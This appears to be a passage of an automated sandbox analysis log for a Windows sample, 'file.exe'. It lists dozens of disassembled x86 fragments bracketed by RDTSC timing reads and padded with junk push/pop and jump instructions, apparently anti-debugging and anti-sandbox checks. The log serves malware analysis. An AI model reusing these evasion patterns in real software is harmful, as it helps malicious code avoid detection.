Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A05797 second address: A057E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F1511CE31h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c jnp 00007F7F1511CE32h 0x00000012 jmp 00007F7F1511CE2Ch 0x00000017 pop edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b js 00007F7F1511CE26h 0x00000021 pushad 0x00000022 popad 0x00000023 jmp 00007F7F1511CE31h 0x00000028 pushad 0x00000029 popad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A057E1 second address: A057F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7F147AEA4Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A057F3 second address: A057F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D1F2D second address: 9D1F35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06620 second address: A06635 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F1511CE2Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push ebx 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06A8B second address: A06AA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F147AEA4Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06AA0 second address: A06AB2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F1511CE2Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06AB2 second address: A06ABF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06ABF second address: A06AC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B027 second address: A0B044 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7F147AEA51h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B333 second address: A0B350 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F7F1511CE2Dh 0x0000000b jo 00007F7F1511CE26h 0x00000011 popad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B350 second address: A0B356 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B356 second address: A0B380 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 jmp 00007F7F1511CE2Fh 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7F1511CE32h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B380 second address: A0B399 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jns 00007F7F147AEA4Eh 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B399 second address: A0B3A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B3A4 second address: A0B3C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F7F147AEA4Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f jo 00007F7F147AEA46h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B63C second address: A0B648 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B648 second address: A0B688 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F147AEA54h 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F7F147AEA51h 0x00000010 popad 0x00000011 pop ebx 0x00000012 pushad 0x00000013 jng 00007F7F147AEA4Ah 0x00000019 push eax 0x0000001a push edx 0x0000001b jo 00007F7F147AEA46h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B821 second address: A0B845 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edi 0x0000000a pop edi 0x0000000b pop eax 0x0000000c jmp 00007F7F1511CE38h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0BB56 second address: A0BBB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7F147AEA4Eh 0x00000008 jns 00007F7F147AEA46h 0x0000000e jmp 00007F7F147AEA4Eh 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 ja 00007F7F147AEA7Dh 0x0000001c push edi 0x0000001d pushad 0x0000001e popad 0x0000001f jne 00007F7F147AEA46h 0x00000025 pop edi 0x00000026 pushad 0x00000027 jmp 00007F7F147AEA55h 0x0000002c jmp 00007F7F147AEA4Eh 0x00000031 pushad 0x00000032 popad 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0C0FF second address: A0C103 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0C5F6 second address: A0C648 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F7F147AEA46h 0x0000000a jl 00007F7F147AEA46h 0x00000010 popad 0x00000011 jmp 00007F7F147AEA58h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F7F147AEA58h 0x0000001e jo 00007F7F147AEA4Eh 0x00000024 jno 00007F7F147AEA46h 0x0000002a push ebx 0x0000002b pop ebx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0C648 second address: A0C65F instructions: 0x00000000 rdtsc 0x00000002 ja 00007F7F1511CE31h 0x00000008 jmp 00007F7F1511CE2Bh 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D6696 second address: 9D669A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D669A second address: 9D66A4 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F7F1511CE26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D6728 second address: 9D6735 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jng 00007F7F147AEA4Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D6735 second address: 9D6750 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 jg 00007F7F1511CE26h 0x0000000e push edx 0x0000000f pop edx 0x00000010 popad 0x00000011 pop ecx 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D6750 second address: 9D6757 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D6757 second address: 9D6765 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7F1511CE2Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D6765 second address: 9D67C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push ecx 0x0000000b pushad 0x0000000c push eax 0x0000000d pop eax 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 popad 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 push ebx 0x00000017 jmp 00007F7F147AEA57h 0x0000001c pop ebx 0x0000001d pop eax 0x0000001e mov cx, di 0x00000021 call 00007F7F147AEA49h 0x00000026 push ebx 0x00000027 pushad 0x00000028 pushad 0x00000029 popad 0x0000002a pushad 0x0000002b popad 0x0000002c popad 0x0000002d pop ebx 0x0000002e push eax 0x0000002f jmp 00007F7F147AEA4Fh 0x00000034 mov eax, dword ptr [esp+04h] 0x00000038 pushad 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c pop eax 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D67C2 second address: 9D67C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D6908 second address: 9D690E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D690E second address: 9D6922 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7F1511CE30h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D6922 second address: 9D6926 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D6A6F second address: 9D6A87 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F1511CE34h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D6CA2 second address: 9D6CB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F147AEA4Eh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D718F second address: 9D7199 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F7F1511CE26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7398 second address: 9D73DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F147AEA53h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c and ecx, 17A4E6AFh 0x00000012 lea eax, dword ptr [ebp+12487E1Dh] 0x00000018 nop 0x00000019 pushad 0x0000001a push esi 0x0000001b push ecx 0x0000001c pop ecx 0x0000001d pop esi 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F7F147AEA57h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D73DD second address: 9D740C instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7F1511CE26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push esi 0x0000000d jnc 00007F7F1511CE28h 0x00000013 pop esi 0x00000014 nop 0x00000015 mov edx, dword ptr [ebp+122D1A1Dh] 0x0000001b lea eax, dword ptr [ebp+12487DD9h] 0x00000021 add dword ptr [ebp+124770CDh], ebx 0x00000027 nop 0x00000028 push edi 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D740C second address: 9B7CC5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F147AEA4Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b pushad 0x0000000c jns 00007F7F147AEA59h 0x00000012 push ebx 0x00000013 jmp 00007F7F147AEA59h 0x00000018 pop ebx 0x00000019 popad 0x0000001a nop 0x0000001b push 00000000h 0x0000001d push ecx 0x0000001e call 00007F7F147AEA48h 0x00000023 pop ecx 0x00000024 mov dword ptr [esp+04h], ecx 0x00000028 add dword ptr [esp+04h], 0000001Dh 0x00000030 inc ecx 0x00000031 push ecx 0x00000032 ret 0x00000033 pop ecx 0x00000034 ret 0x00000035 call dword ptr [ebp+122D2B4Eh] 0x0000003b jng 00007F7F147AEA7Fh 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 popad 0x00000045 jmp 00007F7F147AEA58h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B7CC5 second address: 9B7CE6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F1511CE39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10CCF second address: A10CF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F147AEA52h 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10CF1 second address: A10CF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10CF7 second address: A10D1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pushad 0x00000007 je 00007F7F147AEA48h 0x0000000d pushad 0x0000000e jmp 00007F7F147AEA56h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10D1F second address: A10D25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10D25 second address: A10D34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F7F147AEA4Eh 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A13E96 second address: A13EA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F7F1511CE26h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A16227 second address: A1623D instructions: 0x00000000 rdtsc 0x00000002 ja 00007F7F147AEA46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jp 00007F7F147AEA4Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A15DB4 second address: A15DBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A15DBF second address: A15DC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A18A42 second address: A18A48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A18A48 second address: A18A5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F7F147AEA4Fh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A18C5B second address: A18C5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A18F04 second address: A18F2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F147AEA59h 0x00000009 popad 0x0000000a jns 00007F7F147AEA48h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A18F2D second address: A18F54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F7F1511CE26h 0x0000000a jmp 00007F7F1511CE34h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jnc 00007F7F1511CE26h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1D5CA second address: A1D601 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F147AEA4Dh 0x00000007 jnp 00007F7F147AEA52h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F7F147AEA52h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1D601 second address: A1D60D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1D60D second address: A1D611 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1DA38 second address: A1DA3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1DBAA second address: A1DBE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F147AEA54h 0x00000007 jmp 00007F7F147AEA4Bh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F7F147AEA55h 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1DBE8 second address: A1DBF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F7F1511CE26h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A230AD second address: A230EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F7F147AEA51h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F7F147AEA56h 0x00000010 popad 0x00000011 pushad 0x00000012 pushad 0x00000013 jmp 00007F7F147AEA50h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A23258 second address: A2327D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F1511CE37h 0x00000009 push eax 0x0000000a push edx 0x0000000b jbe 00007F7F1511CE26h 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2327D second address: A232B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F147AEA58h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F7F147AEA57h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A232B6 second address: A232BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A232BE second address: A232C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A232C7 second address: A232CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A236FB second address: A23704 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A23704 second address: A23708 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D6F2B second address: 9D6F2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A24653 second address: A24657 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2784A second address: A2784E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98F764 second address: 98F78A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F7F1511CE26h 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F7F1511CE39h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27269 second address: A27273 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27273 second address: A27288 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F7F1511CE28h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e popad 0x0000000f pushad 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2E9BD second address: A2E9C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2CAA8 second address: A2CAB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F7F1511CE26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2CAB2 second address: A2CAB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2CAB8 second address: A2CAC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2CC4A second address: A2CC4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2D360 second address: A2D364 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2D364 second address: A2D39C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F7F147AEA4Ch 0x0000000e jno 00007F7F147AEA46h 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 popad 0x00000017 jmp 00007F7F147AEA4Ah 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F7F147AEA4Dh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2D5F0 second address: A2D5F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2D5F6 second address: A2D600 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F7F147AEA46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2D856 second address: A2D85C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2E11A second address: A2E120 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2E120 second address: A2E134 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F1511CE30h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
